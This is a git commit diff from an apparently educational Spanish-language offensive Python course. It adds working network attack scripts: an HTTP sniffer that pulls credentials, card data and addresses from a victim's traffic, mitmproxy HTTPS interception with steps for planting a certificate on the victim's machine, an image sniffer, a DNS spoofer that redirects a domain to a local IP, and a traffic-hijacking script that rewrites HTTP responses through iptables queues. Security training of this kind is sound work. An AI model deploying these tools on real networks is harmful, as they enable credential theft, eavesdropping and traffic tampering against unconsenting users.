Add traffic hijacking

.gitignore

@@ -173,3 +173,7 @@ cython_debug/
 *.key
 *.csr
 
+
+# Ignore binary files of mitmproxy
+
+mitmproxy/

python-ofensivo/15_hacking/01_arp_spoofer_scapy.py

@@ -52,6 +52,8 @@ def main():
 
     arguments = get_arguments()
 
+    print("\n[+] Iniciando ARP spoofing...")
+
     while True:
         spoof(arguments.ip_address, "192.168.1.1")  # Mensaje al target
         spoof("192.168.1.1", arguments.ip_address)  # Mensaje al router

python-ofensivo/15_hacking/02_dns_sniffer_scapy.py

@@ -52,7 +52,7 @@ def process_sniffed_packet(packet):
 
 def sniff(interface):
     """
-    
+    Sniffing de paquetes
     """
 
     print("\n[+] Interceptando paquetes de la máquina victima: \n")

python-ofensivo/15_hacking/03_http_sniffer_scapy.py

@@ -0,0 +1,105 @@
+# /usr/bin/env python3
+"""
+HTTP sniffer
+
+Práctica con testphp.vulnweb.com
+
+"""
+
+import argparse
+import signal
+import scapy.all as scapy
+from scapy.layers import http
+
+
+def def_handler(sig, frame):
+
+    print("\n\n[!] Saliendo del programa...\n")
+    exit(1)
+
+
+signal.signal(signal.SIGINT, def_handler)
+
+
+def get_arguments():
+    """
+    Obtiene los argumentos de la línea de comandos
+    """
+
+    parser = argparse.ArgumentParser(description="DNS sniffer")
+    parser.add_argument(
+        "-i", "--interface",
+        required=True, dest="interface",
+        help="Interfaz de red a utilizar"
+    )
+    args = parser.parse_args()
+
+    return args
+
+
+def process_sniffed_packet(packet):
+    """
+    Procesa el paquete sniffado
+    """
+
+    cred_keywords = [
+        "username", "user", "uname", "urname", "user_name", "usern"
+        "login", "password", "pass", 
+        "mail", "email", "correo",
+        "phone", "telephone", "tel", "cellphone", "cell", "cel", "movil",
+        "credit", "card", "cc", "tarjeta", "credito", "debito", "debit", "ucc"
+        "address", "direccion", "dir", "street", "calle", "avenue", "av",
+        "location", "city", "country"]
+
+    if packet.haslayer(http.HTTPRequest):
+
+        url = "http://" + \
+            packet[http.HTTPRequest].Host.decode() + \
+            packet[http.HTTPRequest].Path.decode()
+        
+        print(f"[+] URL visitada: {url}")
+
+        if packet.haslayer(scapy.Raw):
+
+            try:
+
+                response = packet[scapy.Raw].load.decode()
+
+                for keyword in cred_keywords:
+
+                    if keyword in response:
+
+                        print(f"[+] Información comprometida: {response}")
+                        break
+
+            except:
+
+                pass
+
+
+def sniff(interface):
+    """
+    Sniffing de paquetes
+    """
+
+    print("\n[+] Interceptando paquetes de la máquina victima: \n")
+
+    scapy.sniff(
+        iface=interface, store=False,
+        prn=process_sniffed_packet
+    )
+
+
+def main():
+    """
+    Función principal
+    """
+
+    arguments = get_arguments()
+
+    sniff(arguments.interface)
+
+
+if __name__ == "__main__":
+
+    main()

python-ofensivo/15_hacking/04_https_sniffer_mitmdump_01.py

@@ -0,0 +1,28 @@
+# /usr/bin/env python3
+"""
+HTTPS sniffer - MITM Proxy
+
+1. Descargar los binarios de mitmproxy, mitmweb y mitmdump
+2. Ejecutar binario mitmweb o mitmproxy.
+3. Configurar el proxy en la máquina víctima. (IP:8080)
+4. Comprobar en la url mitm.it desde la máquina de la victima que
+ya puedes descargar el certificado
+5. Instalar el certificado en la máquina de la víctima
+6. Observar el tráfico en la máquina del atacante
+7. Ejecutar el script con el binario mitmdump con la opción -s para
+indicar el script a ejecutar y personalizar la recogida de información
+
+"""
+
+from mitmproxy import http
+from mitmproxy import ctx
+
+
+def request(packet):
+
+    ctx.log.info(f"\n\n[+] URL: {packet.request.url}\n\n")
+
+
+def response(packet):
+
+    ctx.log.info(f"\n\n[+] Response: {packet.request.url}\n\n")

python-ofensivo/15_hacking/04_https_sniffer_mitmdump_02.py

@@ -0,0 +1,60 @@
+# /usr/bin/env python3
+"""
+HTTPS sniffer - MITM Proxy
+
+1. Descargar los binarios de mitmproxy, mitmweb y mitmdump
+2. Ejecutar binario mitmweb o mitmproxy.
+3. Configurar el proxy en la máquina víctima. (IP:8080)
+4. Comprobar en la url mitm.it desde la máquina de la victima que
+ya puedes descargar el certificado
+5. Instalar el certificado en la máquina de la víctima
+6. Observar el tráfico en la máquina del atacante
+7. Ejecutar el script con el binario mitmdump con la opción -s para
+indicar el script a ejecutar y personalizar la recogida de información
+
+También se puede lanzar desde docker: https://hub.docker.com/r/mitmproxy/mitmproxy/
+
+"""
+
+from mitmproxy import http
+from urllib.parse import urlparse
+
+
+def has_keywords(data, keywords):
+    """
+    Esta función comprueba si en la petición se encuentran las palabras
+    clave que nos interesan
+    """
+
+    return any(keyword in data for keyword in keywords)
+
+
+
+def request(packet):
+    """
+    Esta función se ejecuta cada vez que se realiza una petición
+    """
+
+    url = packet.request.url
+
+    parsed_url = urlparse(url)
+
+    scheme = parsed_url.scheme
+
+    domain = parsed_url.netloc
+
+    path = parsed_url.path
+
+    print(f"\n\nURL visitada por la víctima: {scheme}://{domain}{path}")
+
+    keywords = [
+        "login", "signin", "logon", 
+        "password", "pass", "passwd",
+        "user", "username"
+    ]
+
+    data = packet.request.get_text()
+
+    if has_keywords(data, keywords):
+
+        print(f"\n\nPosible credencial:\n\n{data}\n\n")

python-ofensivo/15_hacking/05_images_sniffer.py

@@ -0,0 +1,38 @@
+#/usr/bin/env python3
+"""
+Images sniffer
+"""
+
+from mitmproxy import http
+from mitmproxy import ctx
+
+def response(flow):
+    """
+    Sniff images
+    """
+
+    content_type = flow.response.headers.get("Content-Type", "No Content-Type")
+
+    try:
+
+        if "image" in content_type:
+
+            url = flow.request.url
+
+            ext = content_type.split("/")[-1]
+
+            if ext == "jpeg":
+                ext = "jpg"
+
+            file_name = f"img/{url.replace('/', '_')}.{ext}"
+
+            image_data = flow.response.content
+
+            with open(file_name, "wb") as f:
+
+                f.write(image_data)
+
+                print(f"\n[+]Imagen guardada: {file_name}\n")
+
+    except:
+        pass

python-ofensivo/15_hacking/06_intercept.py

@@ -0,0 +1,27 @@
+#!/usr/bin/env python3
+
+import scapy.all as scapy
+
+
+def process_packet(packet):
+    """
+    Procesa los paquetes que llegan a la cola 0
+    """
+
+    if packet.haslayer(scapy.DNSRR):
+
+        qname = packet[scapy.DNSQR].qname
+
+        # print(qname)
+
+        if "hack4u.io" in qname.decode() or "vergaracarmona.es" in qname.decode():
+
+            print(
+                f"\n------------------\n{packet.show()}\n------------------\n"
+            )
+
+
+scapy.sniff(
+    iface="wlo1", filter="udp and port 53",
+    store=False, prn=process_packet
+)

python-ofensivo/15_hacking/07_dns_spoofer.py

@@ -0,0 +1,88 @@
+# /usr/bin/env python3
+"""
+DNS Spoofer
+
+Se necesita instalar netfilterqueue:
+pip3 install netfilterqueue
+
+Para que funcione hay que redirigir el tráfico a la cola 0:
+iptables -I INPUT -j NFQUEUE --queue-num 0
+iptables -I OUTPUT -j NFQUEUE --queue-num 0
+iptables -I FORWARD -j NFQUEUE --queue-num 0
+iptables --policy FORWARD ACCEPT
+
+Con esto no puedes navegar porque los paquetes están a la espera 
+de ser procesados por netfilterqueue.
+
+Para eliminar las anteriores reglas:
+iptables -D INPUT -j NFQUEUE --queue-num 0
+iptables -D OUTPUT -j NFQUEUE --queue-num 0
+iptables -D FORWARD -j NFQUEUE --queue-num 0
+iptables --policy FORWARD ACCEPT
+
+"""
+
+import netfilterqueue
+import scapy.all as scapy
+import signal
+import sys
+
+
+def def_handler(sig, frame):
+
+    print('\n[!] Saliendo...\n')
+    sys.exit(1)
+
+
+signal.signal(signal.SIGINT, def_handler)
+
+
+def process_packet(packet):
+    """
+    Procesa los paquetes que llegan a la cola 0
+    """
+
+    # El paquete en bruto lo tratamos como un paquete scapy para poder manipularlo
+    scapy_packet = scapy.IP(packet.get_payload())
+
+    # Filtramos los paquetes DNS por el puerto 53 y que tengan una capa DNSRR
+    if scapy_packet.haslayer(scapy.DNSRR):
+
+        # Obtenemos el nombre del dominio
+        qname = scapy_packet[scapy.DNSQR].qname
+
+        # Si el dominio es hack4u.io
+        if b"hack4u.io" in qname:
+
+            print(
+                f"\n[+] Envenenando los dominios hack4u.io ...\n"
+            )
+
+            # Creamos un paquete DNSRR con el nombre del dominio
+            # y la IP a la que queremos redirigir
+            answer = scapy.DNSRR(rrname=qname, rdata="192.168.1.115")
+
+            # Modificamos el paquete DNS original con la respuesta que queremos
+            scapy_packet[scapy.DNS].an = answer
+            # Ponemos el número de respuestas a 1
+            # (En este caso tenía 3 originalmente)
+            scapy_packet[scapy.DNS].ancount = 1
+
+            # Eliminamos los campos de longitud y checksum
+            # para que scapy los recalcule
+            del scapy_packet[scapy.IP].len
+            del scapy_packet[scapy.IP].chksum
+            del scapy_packet[scapy.UDP].len
+            del scapy_packet[scapy.UDP].chksum
+
+            packet.set_payload(scapy_packet.build())
+
+    packet.accept()
+
+print(f"[+] Iniciando el envenenamiento de DNS ...")
+
+queue = netfilterqueue.NetfilterQueue()
+
+queue.bind(0, process_packet)
+
+queue.run()

python-ofensivo/15_hacking/08_traffic_hijacking.py

@@ -0,0 +1,112 @@
+#!/usr/bin/env python3
+"""
+Traffic Hijacking 
+
+Vamos a injectar código en la web testphp.vulnweb.com para que cuando se haga 
+una petición a la web desde la máquina victima, se redirija a nuestra web.
+
+Para que funcione hay que redirigir el tráfico a la cola 0:
+iptables -I INPUT -j NFQUEUE --queue-num 0
+iptables -I OUTPUT -j NFQUEUE --queue-num 0
+iptables -I FORWARD -j NFQUEUE --queue-num 0
+iptables --policy FORWARD ACCEPT
+
+Con esto no puedes navegar porque los paquetes están a la espera 
+de ser procesados por netfilterqueue.
+
+Para eliminar las anteriores reglas:
+iptables -D INPUT -j NFQUEUE --queue-num 0
+iptables -D OUTPUT -j NFQUEUE --queue-num 0
+iptables -D FORWARD -j NFQUEUE --queue-num 0
+iptables --policy FORWARD ACCEPT
+
+"""
+
+import netfilterqueue
+import re
+import scapy.all as scapy
+import signal
+import sys
+
+
+def def_handler(sig, frame):
+    """
+    Ctrl + C
+    """
+
+    print('\n[!] Saliendo...\n')
+    sys.exit(1)
+
+
+signal.signal(signal.SIGINT, def_handler)
+
+
+def set_load(packet, load):
+    """
+    Modifica el campo load del paquete
+    """
+
+    # Modificamos el campo load del paquete
+    packet[scapy.Raw].load = load
+
+    # Eliminamos los campos de la capa IP y TCP para que se recalcule el checksum
+    del packet[scapy.IP].len
+    del packet[scapy.IP].chksum
+    del packet[scapy.TCP].chksum
+
+    return packet
+
+
+def process_packet(packet):
+    """
+    Procesa los paquetes que llegan a la cola 0
+    """
+
+    scapy_packet = scapy.IP(packet.get_payload())
+
+    if scapy_packet.haslayer(scapy.Raw):
+
+        try:
+
+            if scapy_packet[scapy.TCP].dport == 80:
+
+                print("Modificada petición HTTP")
+
+                # Eliminamos la cabecera Accept-Encoding para que no comprima
+                # el contenido
+                modified_load = re.sub(
+                    b"Accept-Encoding:.*?\\r\\n", b"", scapy_packet[scapy.Raw].load
+                )
+
+                # Eliminamos la cabecera HTTP/1.1 para que no se queje
+                new_packet = set_load(scapy_packet, modified_load)
+
+                # Inyectamos código en la petición
+                packet.set_payload(new_packet.build())
+
+            elif scapy_packet[scapy.TCP].sport == 80:
+
+                print("Modificada respuesta HTTP")
+
+                # Inyectamos código HTML en la respuesta
+                modified_load = scapy_packet[scapy.Raw].load.replace(
+                    b"welcome to our page", b"Welcome to the hacked page ;)"
+                )
+
+                # Enviamos el paguete modificado
+                new_packet = set_load(scapy_packet, modified_load)
+
+                packet.set_payload(new_packet.build())
+
+        except:
+
+            pass
+
+    packet.accept()
+
+
+print(f"[+] Iniciando traffic hijacking ...")
+
+queue = netfilterqueue.NetfilterQueue()
+queue.bind(0, process_packet)
+queue.run()